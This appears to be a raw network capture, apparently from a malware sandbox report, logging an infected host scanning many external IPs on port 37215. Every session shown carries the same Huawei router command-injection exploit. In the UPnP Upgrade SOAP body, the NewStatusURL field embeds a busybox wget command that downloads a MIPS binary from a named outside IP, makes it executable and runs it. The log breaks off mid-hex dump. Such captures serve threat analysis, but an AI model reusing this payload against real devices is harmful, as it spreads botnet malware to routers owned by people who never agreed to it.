Jun 10, 2024 15:38:03.612243891 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.13	37614	197.35.164.142	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.614727974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.13	51626	156.151.63.47	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.617851019 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.13	50768	156.80.160.113	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.620903969 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.13	42114	197.49.91.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.623698950 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.13	36390	197.39.9.144	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.626343012 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.13	48894	197.159.231.60	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.629185915 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.13	60608	197.198.151.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.632114887 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.13	49228	41.225.203.168	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.634727955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.13	42712	156.90.151.216	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.638112068 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.13	48242	41.255.9.214	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.640758991 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 